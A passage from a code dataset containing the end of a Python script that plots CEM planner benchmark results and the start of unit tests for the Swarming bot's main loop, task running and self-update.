opt_type_keys[opt_type_index]\n cur_color = opt_type_colors[opt_type_index]\n\n # Get the exact operation data we care about for *this* opt type.\n average_operation_times, operation_time_error_bars = extract_core_profile_data(json_struct, cur_opt_type, cur_operation)\n\n # NOTE: We count by 1000 (i.e. 1K) operations to prevent Y from getting\n # insane.\n average_operation_times = average_operation_times/1000.0\n operation_time_error_bars = operation_time_error_bars/1000.0\n\n # Plotting params.\n error_bar_alpha = 0.2\n line_thickness = 2.5\n marker_size = 50.0\n\n plot_x_ticks = [i+1 for i in range(len(average_operation_times))]\n\n # Line.\n plt.plot(plot_x_ticks, average_operation_times, color=cur_color, linewidth=line_thickness)\n # Circles.\n plt.scatter(plot_x_ticks, average_operation_times, color=cur_color, s=marker_size)\n\n # Add error bars, *with* caps!\n (_, caps, _) = plt.errorbar(plot_x_ticks, average_operation_times, yerr=operation_time_error_bars, fmt='_', color=\"k\")\n for cap in caps:\n cap.set_markeredgewidth(1)\n\n # Handle the legend once everything is plotted.\n standard_patch = mpatches.Patch(color=opt_type_colors[0], label='Lazy')\n bound_patch = mpatches.Patch(color=opt_type_colors[1], label='Bound')\n super_check_patch = mpatches.Patch(color=opt_type_colors[2], label='Super')\n plt.legend(handles=[standard_patch, bound_patch, super_check_patch], loc=2, prop={'size': 20})\n\n plt.xlabel('CEM Iterations', size=22)\n # plt.ylabel('', size=30)\n\n if cur_operation == \"edge_eval_track\":\n plt.title(\"Total Edge Evaluations (K)\", size=22)\n elif cur_operation == \"node_expansion_track\":\n plt.title(\"Total Node Expansions (K)\", size=22)\n else:\n raise Exception('cur_operation NOT SUPPORTED')\n\n # Bump up the font size of the X/Y ticks.\n y_locs, y_labels = plt.yticks()\n plt.xticks(plot_x_ticks, [int(i) for i in plot_x_ticks], rotation='horizontal', size=22)\n plt.yticks(y_locs, [int(i) for i in y_locs], rotation='horizontal', size=22)\n\n # Also make sure the bottom of the Y-axis is at zero.\n plt.ylim((0, y_locs[-1]))\n\n # Don't cut off labels.\n plt.tight_layout()\n # Take up upper right border.\n sns.despine()\n\n # Save out the plot.\n plot_filename = plot_filename_prefix + \"_\" + cur_operation\n plt.savefig(plot_filename)\n plt.clf()\n\n\ndef plot_time_profile(json_struct, opt_type_keys, plot_filename_prefix):\n # Latex.\n plt.rc('text', usetex=True)\n plt.rc('font', family='serif')\n plt.rcParams['text.latex.unicode']=True\n\n for cur_opt_type in opt_type_keys:\n\n # NOTE: First, extract the times for each of the components we're interested\n # in.\n average_total_times, _ = extract_core_profile_data(json_struct, cur_opt_type, \"iteration_time_track\")\n average_search_times, _ = extract_core_profile_data(json_struct, cur_opt_type, \"search_time_track\")\n average_coll_check_times, _ = extract_core_profile_data(json_struct, cur_opt_type, \"coll_check_time_track\")\n\n # NOTE: We plot in minutes, not seconds.\n average_total_times = average_total_times/60.0\n average_search_times = average_search_times/60.0\n average_coll_check_times = average_coll_check_times/60.0\n\n # NOTE: This is done to make sure that all profile plots have the same y\n # scale. Assumed that Standard opt_type is first member of\n # `opt_type_keys`.\n if cur_opt_type == \"SE2 Standard\":\n max_time = average_total_times[-1]\n\n search_color = color=sns.xkcd_rgb[\"pastel red\"]\n coll_color = color=sns.xkcd_rgb[\"pastel blue\"]\n other_color = color=sns.xkcd_rgb[\"light eggplant\"]\n\n # Compute the \"other\" runtimes.\n # NOTE: Deep copy to not modify `total_times`.\n other_times = np.copy(average_total_times)\n other_times -= average_search_times\n other_times -= average_coll_check_times\n\n # Plot across CEM iterations.\n plot_x_ticks = [i+1 for i in range(len(other_times))]\n\n # For making the additive plot.\n additive_total = np.zeros(len(other_times))\n\n plt.fill_between(plot_x_ticks, additive_total, additive_total + other_times, color=other_color)\n additive_total += other_times\n\n plt.fill_between(plot_x_ticks, additive_total, additive_total + average_search_times, color=search_color)\n additive_total += average_search_times\n\n plt.fill_between(plot_x_ticks, additive_total, additive_total + average_coll_check_times, color=coll_color)\n additive_total += average_coll_check_times\n\n # Handle the legend once everything is plotted.\n cc_patch = mpatches.Patch(color=coll_color, label='Coll Check')\n search_patch = mpatches.Patch(color=search_color, label='Search')\n other_patch = mpatches.Patch(color=other_color, label='Other')\n plt.legend(handles=[cc_patch, search_patch, other_patch], loc=2, prop={'size': 20})\n\n plt.xlabel('CEM Iterations', size=22)\n\n if cur_opt_type == \"SE2 Standard\":\n plt.title(\"Runtime Profile (Lazy)\", size=22)\n elif cur_opt_type == \"SE2 Bound\":\n plt.title(\"Runtime Profile (Bound)\", size=22)\n elif cur_opt_type == \"SE2 Super\":\n plt.title(\"Runtime Profile (Super)\", size=22)\n else:\n raise Exception('[Profile] opt_type NOT SUPPORTED')\n\n # Make sure that all profile plots bottom at zero and are on the same range.\n plt.ylim(0, max_time)\n\n # Bump up the font size of the X/Y ticks.\n y_locs, y_labels = plt.yticks()\n plt.xticks(plot_x_ticks, [int(i) for i in plot_x_ticks], rotation='horizontal', size=22)\n plt.yticks(y_locs, [int(i) for i in y_locs], rotation='horizontal', size=22)\n\n # Don't cut off labels.\n plt.tight_layout()\n # Take up upper right border.\n sns.despine()\n\n # Save out the plot.\n plot_filename = plot_filename_prefix + \"_profile_\" + cur_opt_type.replace(\" \", \"_\")\n plt.savefig(plot_filename)\n plt.clf()\n\n\n\n\nif __name__ == '__main__':\n\n results_file = sys.argv[1]\n plot_filename_prefix = sys.argv[2]\n benchmark_data = json.load(open(results_file, \"r\"))\n\n opt_type_keys = [\"SE2 Standard\", \"SE2 Bound\", \"SE2 Super\"]\n opt_type_colors = [sns.xkcd_rgb[\"pale red\"], sns.xkcd_rgb[\"medium green\"], sns.xkcd_rgb[\"medium blue\"]]\n\n # NOTE: Plots edge evaluations.\n plot_core_operations(benchmark_data, opt_type_keys, opt_type_colors, \"edge_eval_track\", plot_filename_prefix)\n\n # NOTE: Plots node expansions.\n plot_core_operations(benchmark_data, opt_type_keys, opt_type_colors, \"node_expansion_track\", plot_filename_prefix)\n\n # NOTE: Plot profile for each opt type.\n plot_time_profile(benchmark_data, opt_type_keys, plot_filename_prefix)\n\n # pdb.set_trace()\n", "sub_path": "plot/plot_CEM_operations.py", "file_name": "plot_CEM_operations.py", "file_ext": "py", "file_size_in_byte": 9303, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.use", "line_number": 12, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 17, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 19, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 20, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "plot_ASA_bars.get_conf_interval", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 68, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 140, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "seaborn.xkcd_rgb", "line_number": 161, "usage_type": "attribute"}, {"api_name": "seaborn.xkcd_rgb", "line_number": 162, "usage_type": "attribute"}, {"api_name": "seaborn.xkcd_rgb", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 208, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 208, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 227, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 228, "usage_type": "call"}, {"api_name": "seaborn.xkcd_rgb", "line_number": 231, "usage_type": "attribute"}]} +{"seq_id": "639221081", "text": "#!/usr/bin/env python\n# Copyright 2013 The LUCI Authors. All rights reserved.\n# Use of this source code is governed by the Apache v2.0 license that can be\n# found in the LICENSE file.\n\nimport json\nimport logging\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport threading\nimport time\nimport unittest\nimport zipfile\n\nimport test_env_bot_code\ntest_env_bot_code.setup_test_env()\n\n# Creates a server mock for functions in net.py.\nimport net_utils\n\nimport bot_main\nfrom api import bot\nfrom api import os_utilities\nfrom depot_tools import fix_encoding\nfrom utils import file_path\nfrom utils import logging_utils\nfrom utils import net\nfrom utils import subprocess42\nfrom utils import zip_package\n\n\n# Access to a protected member XX of a client class - pylint: disable=W0212\n\n\nclass TestBotMain(net_utils.TestCase):\n maxDiff = 2000\n\n def setUp(self):\n super(TestBotMain, self).setUp()\n os.environ.pop('SWARMING_LOAD_TEST', None)\n self.root_dir = tempfile.mkdtemp(prefix='bot_main')\n self.old_cwd = os.getcwd()\n os.chdir(self.root_dir)\n # __main__ does it for us.\n os.mkdir('logs')\n self.url = 'https://localhost:1'\n self.attributes = {\n 'dimensions': {\n 'foo': ['bar'],\n 'id': ['localhost'],\n 'pool': ['default'],\n },\n 'state': {\n 'cost_usd_hour': 3600.,\n 'sleep_streak': 0,\n },\n 'version': '123',\n }\n self.mock(zip_package, 'generate_version', lambda: '123')\n self.bot = bot.Bot(\n self.attributes, 'https://localhost:1', 'version1', self.root_dir,\n self.fail)\n self.mock(self.bot, 'post_error', self.fail)\n self.mock(self.bot, 'restart', self.fail)\n self.mock(subprocess42, 'call', self.fail)\n self.mock(time, 'time', lambda: 100.)\n config_path = os.path.join(\n test_env_bot_code.BOT_DIR, 'config', 'config.json')\n with open(config_path, 'rb') as f:\n config = json.load(f)\n self.mock(bot_main, 'get_config', lambda: config)\n self.mock(\n bot_main, 'THIS_FILE',\n os.path.join(test_env_bot_code.BOT_DIR, 'swarming_bot.zip'))\n\n def tearDown(self):\n os.environ.pop('SWARMING_BOT_ID', None)\n os.chdir(self.old_cwd)\n file_path.rmtree(self.root_dir)\n super(TestBotMain, self).tearDown()\n\n def test_get_dimensions(self):\n dimensions = set(bot_main.get_dimensions(None))\n dimensions.discard('hidpi')\n dimensions.discard('zone') # Only set on GCE bots.\n expected = {'cores', 'cpu', 'gpu', 'id', 'machine_type', 'os', 'pool'}\n if sys.platform == 'darwin':\n expected.add('xcode_version')\n self.assertEqual(expected, dimensions)\n\n def test_get_dimensions_load_test(self):\n os.environ['SWARMING_LOAD_TEST'] = '1'\n self.assertEqual(['id', 'load_test'], sorted(bot_main.get_dimensions(None)))\n\n def test_generate_version(self):\n self.assertEqual('123', bot_main.generate_version())\n\n def test_get_state(self):\n self.mock(time, 'time', lambda: 1470000000.0)\n expected = os_utilities.get_state()\n expected['sleep_streak'] = 12\n # During the execution of this test case, the free disk space could have\n # changed.\n for disk in expected['disks'].itervalues():\n self.assertGreater(disk.pop('free_mb'), 1.)\n actual = bot_main.get_state(None, 12)\n for disk in actual['disks'].itervalues():\n self.assertGreater(disk.pop('free_mb'), 1.)\n self.assertGreater(actual.pop('nb_files_in_temp'), 0)\n self.assertGreater(expected.pop('nb_files_in_temp'), 0)\n self.assertGreater(actual.pop('uptime'), 0)\n self.assertGreater(expected.pop('uptime'), 0)\n self.assertEqual(sorted(expected.pop('temp', {})),\n sorted(actual.pop('temp', {})))\n self.assertEqual(expected, actual)\n\n def test_setup_bot(self):\n setup_bots = []\n def setup_bot(_bot):\n setup_bots.append(1)\n return False\n from config import bot_config\n self.mock(bot_config, 'setup_bot', setup_bot)\n restarts = []\n post_event = []\n self.mock(\n os_utilities, 'restart', lambda *a, **kw: restarts.append((a, kw)))\n self.mock(\n bot.Bot, 'post_event', lambda *a, **kw: post_event.append((a, kw)))\n self.expected_requests([])\n bot_main.setup_bot(False)\n expected = [\n (('Starting new swarming bot: %s' % bot_main.THIS_FILE,),\n {'timeout': 900}),\n ]\n self.assertEqual(expected, restarts)\n # It is called twice, one as part of setup_bot(False), another as part of\n # on_shutdown_hook().\n self.assertEqual([1, 1], setup_bots)\n expected = [\n 'Starting new swarming bot: %s' % bot_main.THIS_FILE,\n 'Bot is stuck restarting for: Starting new swarming bot: %s' %\n bot_main.THIS_FILE,\n ]\n self.assertEqual(expected, [i[0][2] for i in post_event])\n\n def test_post_error_task(self):\n self.mock(time, 'time', lambda: 126.0)\n self.mock(logging, 'error', lambda *_, **_kw: None)\n self.mock(\n bot_main, 'get_config',\n lambda: {'server': self.url, 'server_version': '1'})\n expected_attribs = bot_main.get_attributes(None)\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/task_error/23',\n {\n 'data': {\n 'id': expected_attribs['dimensions']['id'][0],\n 'message': 'error',\n 'task_id': 23,\n },\n },\n {'resp': 1},\n ),\n ])\n botobj = bot_main.get_bot()\n self.assertEqual({'resp': 1}, bot_main.post_error_task(botobj, 'error', 23))\n\n def test_run_bot(self):\n # Test the run_bot() loop. Does not use self.bot.\n self.mock(time, 'time', lambda: 126.0)\n class Foo(Exception):\n pass\n\n def poll_server(botobj, _):\n sleep_streak = botobj.state['sleep_streak']\n self.assertEqual(self.url, botobj.server)\n if sleep_streak == 5:\n raise Exception('Jumping out of the loop')\n return False\n self.mock(bot_main, 'poll_server', poll_server)\n\n def post_error(botobj, e):\n self.assertEqual(self.url, botobj.server)\n lines = e.splitlines()\n self.assertEqual('Jumping out of the loop', lines[0])\n self.assertEqual('Traceback (most recent call last):', lines[1])\n raise Foo('Necessary to get out of the loop')\n self.mock(bot.Bot, 'post_error', post_error)\n\n self.mock(\n bot_main, 'get_config',\n lambda: {'server': self.url, 'server_version': '1'})\n self.mock(\n bot_main, 'get_dimensions', lambda _: self.attributes['dimensions'])\n self.mock(os_utilities, 'get_state', lambda *_: self.attributes['state'])\n\n # Method should have \"self\" as first argument - pylint: disable=E0213\n # pylint: disable=unused-argument\n class Popen(object):\n def __init__(\n self2, cmd, detached, cwd, stdout, stderr, stdin, close_fds):\n self2.returncode = None\n expected = [sys.executable, bot_main.THIS_FILE, 'run_isolated']\n self.assertEqual(expected, cmd[:len(expected)])\n self.assertEqual(True, detached)\n self.assertEqual(subprocess42.PIPE, stdout)\n self.assertEqual(subprocess42.STDOUT, stderr)\n self.assertEqual(subprocess42.PIPE, stdin)\n self.assertEqual(sys.platform != 'win32', close_fds)\n\n def communicate(self2, i):\n self.assertEqual(None, i)\n self2.returncode = 0\n return '', None\n self.mock(subprocess42, 'Popen', Popen)\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/server_ping',\n {}, 'foo', None,\n ),\n (\n 'https://localhost:1/swarming/api/v1/bot/handshake',\n {'data': self.attributes},\n {'bot_version': '123', 'server': self.url, 'server_version': 1},\n ),\n ])\n\n with self.assertRaises(Foo):\n bot_main.run_bot(None)\n self.assertEqual(\n self.attributes['dimensions']['id'][0], os.environ['SWARMING_BOT_ID'])\n\n def test_poll_server_sleep(self):\n slept = []\n bit = threading.Event()\n self.mock(bit, 'wait', slept.append)\n self.mock(bot_main, 'run_manifest', self.fail)\n self.mock(bot_main, 'update_bot', self.fail)\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/poll',\n {'data': self.attributes},\n {\n 'cmd': 'sleep',\n 'duration': 1.24,\n },\n ),\n ])\n self.assertFalse(bot_main.poll_server(self.bot, bit))\n self.assertEqual([1.24], slept)\n\n def test_poll_server_run(self):\n manifest = []\n bit = threading.Event()\n self.mock(bit, 'wait', self.fail)\n self.mock(bot_main, 'run_manifest', lambda *args: manifest.append(args))\n self.mock(bot_main, 'update_bot', self.fail)\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/poll',\n {'data': self.bot._attributes},\n {\n 'cmd': 'run',\n 'manifest': {'foo': 'bar'},\n },\n ),\n ])\n self.assertTrue(bot_main.poll_server(self.bot, bit))\n expected = [(self.bot, {'foo': 'bar'}, time.time())]\n self.assertEqual(expected, manifest)\n\n def test_poll_server_update(self):\n update = []\n bit = threading.Event()\n self.mock(bit, 'wait', self.fail)\n self.mock(bot_main, 'run_manifest', self.fail)\n self.mock(bot_main, 'update_bot', lambda *args: update.append(args))\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/poll',\n {'data': self.attributes},\n {\n 'cmd': 'update',\n 'version': '123',\n },\n ),\n ])\n self.assertTrue(bot_main.poll_server(self.bot, bit))\n self.assertEqual([(self.bot, '123')], update)\n\n def test_poll_server_restart(self):\n restart = []\n bit = threading.Event()\n self.mock(bit, 'wait', self.fail)\n self.mock(bot_main, 'run_manifest', self.fail)\n self.mock(bot_main, 'update_bot', self.fail)\n self.mock(self.bot, 'restart', lambda *args: restart.append(args))\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/poll',\n {'data': self.attributes},\n {\n 'cmd': 'restart',\n 'message': 'Please die now',\n },\n ),\n ])\n self.assertTrue(bot_main.poll_server(self.bot, bit))\n self.assertEqual([('Please die now',)], restart)\n\n def test_poll_server_restart_load_test(self):\n os.environ['SWARMING_LOAD_TEST'] = '1'\n bit = threading.Event()\n self.mock(bit, 'wait', self.fail)\n self.mock(bot_main, 'run_manifest', self.fail)\n self.mock(bot_main, 'update_bot', self.fail)\n self.mock(self.bot, 'restart', self.fail)\n\n self.expected_requests(\n [\n (\n 'https://localhost:1/swarming/api/v1/bot/poll',\n {\n 'data': self.attributes,\n },\n {\n 'cmd': 'restart',\n 'message': 'Please die now',\n },\n ),\n ])\n self.assertTrue(bot_main.poll_server(self.bot, bit))\n\n def _mock_popen(self, returncode=0, exit_code=0, url='https://localhost:1'):\n result = {\n 'exit_code': exit_code,\n 'must_signal_internal_failure': None,\n 'version': 3,\n }\n # Method should have \"self\" as first argument - pylint: disable=E0213\n class Popen(object):\n def __init__(\n self2, cmd, detached, cwd, env, stdout, stderr, stdin, close_fds):\n self2.returncode = None\n self2._out_file = os.path.join(\n self.root_dir, 'work', 'task_runner_out.json')\n expected = [\n sys.executable, bot_main.THIS_FILE, 'task_runner',\n '--swarming-server', url,\n '--in-file',\n os.path.join(self.root_dir, 'work', 'task_runner_in.json'),\n '--out-file', self2._out_file,\n '--cost-usd-hour', '3600.0', '--start', '100.0',\n '--min-free-space',\n str(int(\n (os_utilities.get_min_free_space(bot_main.THIS_FILE) + 250.) *\n 1024 * 1024)),\n ]\n self.assertEqual(expected, cmd)\n self.assertEqual(True, detached)\n self.assertEqual(self.bot.base_dir, cwd)\n self.assertEqual('24', env['SWARMING_TASK_ID'])\n self.assertTrue(stdout)\n self.assertEqual(subprocess42.STDOUT, stderr)\n self.assertEqual(subprocess42.PIPE, stdin)\n self.assertEqual(sys.platform != 'win32', close_fds)\n\n def wait(self2, timeout=None): # pylint: disable=unused-argument\n self2.returncode = returncode\n with open(self2._out_file, 'wb') as f:\n json.dump(result, f)\n return 0\n\n self.mock(subprocess42, 'Popen', Popen)\n return result\n\n def test_run_manifest(self):\n self.mock(bot_main, 'post_error_task', lambda *args: self.fail(args))\n def call_hook(botobj, name, *args):\n if name == 'on_after_task':\n failure, internal_failure, dimensions, summary = args\n self.assertEqual(self.attributes['dimensions'], botobj.dimensions)\n self.assertEqual(False, failure)\n self.assertEqual(False, internal_failure)\n self.assertEqual({'os': 'Amiga', 'pool': 'default'}, dimensions)\n self.assertEqual(result, summary)\n self.mock(bot_main, 'call_hook', call_hook)\n result = self._mock_popen(url='https://localhost:3')\n\n manifest = {\n 'command': ['echo', 'hi'],\n 'dimensions': {'os': 'Amiga', 'pool': 'default'},\n 'grace_period': 30,\n 'hard_timeout': 60,\n 'host': 'https://localhost:3',\n 'task_id': '24',\n }\n self.assertEqual(self.root_dir, self.bot.base_dir)\n bot_main.run_manifest(self.bot, manifest, time.time())\n\n def test_run_manifest_task_failure(self):\n self.mock(bot_main, 'post_error_task', lambda *args: self.fail(args))\n def call_hook(_botobj, name, *args):\n if name == 'on_after_task':\n failure, internal_failure, dimensions, summary = args\n self.assertEqual(True, failure)\n self.assertEqual(False, internal_failure)\n self.assertEqual({'pool': 'default'}, dimensions)\n self.assertEqual(result, summary)\n self.mock(bot_main, 'call_hook', call_hook)\n result = self._mock_popen(exit_code=1)\n\n manifest = {\n 'command': ['echo', 'hi'],\n 'dimensions': {'pool': 'default'},\n 'grace_period': 30,\n 'hard_timeout': 60,\n 'io_timeout': 60,\n 'task_id': '24',\n }\n bot_main.run_manifest(self.bot, manifest, time.time())\n\n def test_run_manifest_internal_failure(self):\n posted = []\n self.mock(bot_main, 'post_error_task', lambda *args: posted.append(args))\n def call_hook(_botobj, name, *args):\n if name == 'on_after_task':\n failure, internal_failure, dimensions, summary = args\n self.assertEqual(False, failure)\n self.assertEqual(True, internal_failure)\n self.assertEqual({'pool': 'default'}, dimensions)\n self.assertEqual(result, summary)\n self.mock(bot_main, 'call_hook', call_hook)\n result = self._mock_popen(returncode=1)\n\n manifest = {\n 'command': ['echo', 'hi'],\n 'dimensions': {'pool': 'default'},\n 'grace_period': 30,\n 'hard_timeout': 60,\n 'io_timeout': 60,\n 'task_id': '24',\n }\n bot_main.run_manifest(self.bot, manifest, time.time())\n expected = [(self.bot, 'Execution failed: internal error (1).', '24')]\n self.assertEqual(expected, posted)\n\n def test_run_manifest_exception(self):\n posted = []\n def post_error_task(botobj, msg, task_id):\n posted.append((botobj, msg.splitlines()[0], task_id))\n self.mock(bot_main, 'post_error_task', post_error_task)\n def call_hook(_botobj, name, *args):\n if name == 'on_after_task':\n failure, internal_failure, dimensions, summary = args\n self.assertEqual(False, failure)\n self.assertEqual(True, internal_failure)\n self.assertEqual({'pool': 'default'}, dimensions)\n self.assertEqual({}, summary)\n self.mock(bot_main, 'call_hook', call_hook)\n def raiseOSError(*_a, **_k):\n raise OSError('Dang')\n self.mock(subprocess42, 'Popen', raiseOSError)\n\n manifest = {\n 'command': ['echo', 'hi'],\n 'dimensions': {'pool': 'default'},\n 'grace_period': 30,\n 'hard_timeout': 60,\n 'task_id': '24',\n }\n bot_main.run_manifest(self.bot, manifest, time.time())\n expected = [(self.bot, 'Internal exception occured: Dang', '24')]\n self.assertEqual(expected, posted)\n\n def test_update_bot(self):\n # In a real case 'update_bot' never exits and doesn't call 'post_error'.\n # Under the test however forever-blocking calls finish, and post_error is\n # called.\n self.mock(self.bot, 'post_error', lambda *_: None)\n # Mock the file to download in the temporary directory.\n self.mock(\n bot_main, 'THIS_FILE',\n os.path.join(self.root_dir, 'swarming_bot.1.zip'))\n new_zip = os.path.join(self.root_dir, 'swarming_bot.2.zip')\n # This is necessary otherwise zipfile will crash.\n self.mock(time, 'time', lambda: 1400000000)\n def url_retrieve(f, url):\n self.assertEqual(\n 'https://localhost:1/swarming/api/v1/bot/bot_code/123', url)\n self.assertEqual(new_zip, f)\n # Create a valid zip that runs properly.\n with zipfile.ZipFile(f, 'w') as z:\n z.writestr('__main__.py', 'print(\"hi\")')\n return True\n self.mock(net, 'url_retrieve', url_retrieve)\n\n calls = []\n def exec_python(args):\n calls.append(args)\n return 23\n self.mock(bot_main.common, 'exec_python', exec_python)\n\n with self.assertRaises(SystemExit) as e:\n bot_main.update_bot(self.bot, '123')\n self.assertEqual(23, e.exception.code)\n\n self.assertEqual([[new_zip, 'start_slave', '--survive']], calls)\n\n def test_main(self):\n def check(x):\n self.assertEqual(logging.WARNING, x)\n self.mock(logging_utils, 'set_console_level', check)\n\n def run_bot(error):\n self.assertEqual(None, error)\n return 0\n self.mock(bot_main, 'run_bot', run_bot)\n\n class Singleton(object):\n # pylint: disable=no-self-argument\n def acquire(self2):\n return True\n def 